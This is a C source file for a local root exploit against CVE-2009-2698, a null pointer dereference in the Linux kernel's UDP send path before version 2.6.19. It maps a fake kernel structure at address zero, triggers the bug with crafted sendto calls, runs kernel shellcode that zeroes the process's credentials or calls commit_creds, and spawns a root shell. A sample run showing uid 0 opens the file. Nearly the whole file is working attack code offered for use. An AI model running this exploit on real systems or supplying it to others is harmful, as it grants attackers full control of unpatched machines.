CVE-2009-2698-udp_sendmsg.c

/*
 * CVE-2009-2698 Linux kernel < 2.6.19 udp_sendmsg local root exploit.
 *
 * by wzt       http://www.cloud-sec.org
 *
 * test on rhel5.2 x86/x86_64
 *
 * [wzt@localhost ~]$ ./CVE-2009-2698-udp_sendmsg
 * CVE-2009-2698 Linux kernel < 2.6.19 udp_sendmsg local root exploit.
 * by wzt       http://www.cloud-sec.org
 * [+] target os: 2.6.18
 * [+] mmaping shellcode at zero ok.
 * [+] trigger null pointer def...
 * [+] We are root!
 * sh-3.2# id
 * uid=0(root) gid=0(root) groups=500(wzt) context=user_u:system_r:unconfined_t
 * sh-3.2# uname -a
 * Linux localhost.localdomain 2.6.18-92.el5 #1 SMP Tue Jun 10 18:51:06 EDT 2008 x86_64 x86_64 x86_64 GNU/Linux
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>

//#define X86_64

#define PAYLOAD_SIZE                    1024
#define KALLSYMS_NAME                   "/proc/kallsyms"

#ifdef X86_64
#define USER_CS                         0x33
#define USER_SS                         0x2b
#define USER_FL                         0x246
#else
#define USER_CS                         0x73
#define USER_SS                         0x7b
#define USER_FL                         0x246
#endif
#define STACK(x)                        (x + sizeof(x))

typedef int __attribute__((regparm(1)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(1)))(*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
static unsigned int uid, gid;

void exit_user_code(void);
char user_stack[1024 * 1024];

typedef struct kern_sc_arg {
        void (*kernel_shellcode)(void);
        char *kern_sc;
}KERN_SC_ARG;

KERN_SC_ARG *kern_sc_arg = NULL;

struct fake_dst_entry
{
        void *next;
        int refcnt;
        int use;
        void *child;
        void *dev;
        short error;
        short obsolete;
        int flags;
        unsigned long lastuse;
        unsigned long expires;
        unsigned short header_len;
        unsigned short trailer_len;
        unsigned int metrics[14];
        void *input[10];
};

#ifdef X86_64
static inline __attribute__((always_inline)) void *get_current(void)
{
        unsigned long curr;

        __asm__ __volatile__("movq %%gs:(0), %0":"=r"(curr));

        return (void *)curr;
}
static inline __attribute__((always_inline)) void *exit_kernel(void)
{
        __asm__ __volatile__ (
                "movq %0, 0x20(%%rsp)\n\t"
                "movq %1, 0x18(%%rsp)\n\t"
                "movq %2, 0x10(%%rsp)\n\t"
                "movq %3, 0x08(%%rsp)\n\t"
                "movq %4, 0x00(%%rsp)\n\t"
                "swapgs\n\t"
                "iretq"
                ::"i"(USER_SS), "r"(STACK(user_stack)), "i"(USER_FL), "i"(USER_CS), "r"(exit_user_code)
        );
}
#else
static inline __attribute__((always_inline)) void *get_current(void)
{
        unsigned long curr;

        __asm__ __volatile__(
                "movl %%esp, %%eax\n\t"
                "andl %1, %%eax\n\t"
                "movl (%%eax), %0"
                :"=r"(curr)
                :"i"(~4095)
        );

        return (void *)curr;
}
static inline __attribute__((always_inline)) void *exit_kernel(void)
{
        __asm__ __volatile__ (
                "movl %0, 0x10(%%esp)\n\t"
                "movl %1, 0x0c(%%esp)\n\t"
                "movl %2, 0x08(%%esp)\n\t"
                "movl %3, 0x04(%%esp)\n\t"
                "movl %4, 0x00(%%esp)\n\t"
                "iret"
                ::"i"(USER_SS), "r"(STACK(user_stack)), "i"(USER_FL), "i"(USER_CS), "r"(exit_user_code)
        );
}
#endif
void kernel_shellcode(void)
{
        unsigned int *p;
        int i;

        p = get_current();
        for (i = 0; i < 4096; i++) {
                if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid &&
                        p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
                        p[0] = p[1] = p[2] = p[3] = 0;
                        p[4] = p[5] = p[6] = p[7] = 0;
                        break;
                }
                p++;
        }

out:
        exit_kernel();
}

void kernel_shellcode_new(void)
{
        commit_creds(prepare_kernel_cred(0));
        exit_kernel();
}
void exit_user_code(void)
{
        if (getuid() != 0) {
                printf("[-] exploit failed.\n");
                exit(-1);
        }

        printf("[+] We are root!\n");
        execl("/bin/sh", "sh", "-i", NULL);
}
unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)
{
        FILE *s_fp;
        char buff[200];
        char *p = NULL, *p1 = NULL;
        unsigned long addr = 0;

        s_fp = fopen(file_name, "r");
        if (s_fp == NULL) {
                printf("open %s failed.\n", file_name);
                return 0;
        }

        while (fgets(buff, 200, s_fp) != NULL) {
                if (strstr(buff, symbol_name) != NULL) {
                        buff[strlen(buff) - 1] = '\0';
                        p = strchr(strchr(buff, ' ') + 1, ' ');
                        ++p;
                        if (!p)
                                return 0;

                        if (!strcmp(p, symbol_name)) {
                                p1 = strchr(buff, ' ');
                                *p1 = '\0';
                                sscanf(buff, "%lx", &addr);
                                break;
                        }
                }
        }

        fclose(s_fp);
        return addr;
}
void parse_os_version(char *orig, char *new)
{
        char *c;

        c = strchr(orig, '-');
        if (c)
                *c = 0;
        c = strchr(orig, '.');
        if (c) {
                c = strchr(c + 1, '.');
                strcpy(new, c + 1);
        }
}

int knull_init(void)
{
        struct utsname os_ver;
        char buf[32] = {0};

        kern_sc_arg = (KERN_SC_ARG *)malloc(sizeof(KERN_SC_ARG));
        if (!kern_sc_arg)
                return -1;

        uid = getuid();
        gid = getgid();

        if (uname(&os_ver) == -1) {
                perror("uname");
                goto out;
        }

        parse_os_version(os_ver.release, buf);
        printf("[+] target os: %s\n", os_ver.release);

        if (atoi(buf) >= 20 ) {
                printf("[+] looking for symbols...\n");
                commit_creds = (_commit_creds)find_symbol_by_proc(KALLSYMS_NAME, "commit_creds");
                if (!commit_creds) {
                        printf("[-] not found commit_creds addr.\n");
                        goto out;
                }
                printf("[+] found commit_creds addr: %p\n", commit_creds);

                prepare_kernel_cred =(_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME,
                        "prepare_kernel_cred");
                if (!prepare_kernel_cred) {
                        printf("[-] not found prepare_kernel_cred addr.\n");
                        goto out;
                }
                printf("[+] found prepare_kernel_cred addr: %p\n", prepare_kernel_cred);

                kern_sc_arg->kernel_shellcode = kernel_shellcode_new;
        }
        else {
                kern_sc_arg->kernel_shellcode = kernel_shellcode;
        }

        return 0;
out:
        free(kern_sc_arg);
        return -1;
}

void knull_exit(void)
{
        free(kern_sc_arg);
}

int null_def_trigger(void)
{
        struct sockaddr sock = {
                .sa_family = AF_UNSPEC,
                .sa_data = "AAAA",
        };
        struct fake_dst_entry *sc_addr;
        char buf[1024] = {0};
        int fd, i;

        sc_addr = mmap(NULL, PAYLOAD_SIZE, PROT_READ | PROT_WRITE,
                        MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
        if (sc_addr == MAP_FAILED) {
                perror("mmap");
                return -1;
        }
        printf("[+] mmaping shellcode at zero ok.\n");
        printf("[+] trigger null pointer def...\n");

        /*
         * int ip_append_data(struct sock *sk,
         *      int getfrag(void *from, char *to, int offset, int len,
         *                       int odd, struct sk_buff *skb),
         *           void *from, int length, int transhdrlen,
         *           struct ipcm_cookie *ipc, struct rtable *rt,
         *          unsigned int flags)
         * {
         *      ...
         *
         *      this will trigger the null pointer deference.
         *      inet->cork.fragsize = mtu = dst_mtu(rt->u.dst.path);
         * }
         */
        for (i = 0; i < 10; i++)
                sc_addr->input[i] = (void *)&kernel_shellcode;

        fd = socket(PF_INET, SOCK_DGRAM, 0);
        if (fd < 0) {
                perror("socket");
                return -1;
        }

        sendto(fd, buf, 1024, MSG_PROXY | MSG_MORE, &sock, sizeof(sock));
        sendto(fd, buf, 1024, 0, &sock, sizeof(sock));

        /* never return here. */
        munmap(sc_addr, PAYLOAD_SIZE);
        return 0;
}

void exp_banner(void)
{
        printf("CVE-2009-2698 Linux kernel < 2.6.19 udp_sendmsg local root exploit.\n"
                "by wzt       http://www.cloud-sec.org\n");
}

int main(void)
{
        exp_banner();
        knull_init();
        null_def_trigger();
        knull_exit();

        return 0;
}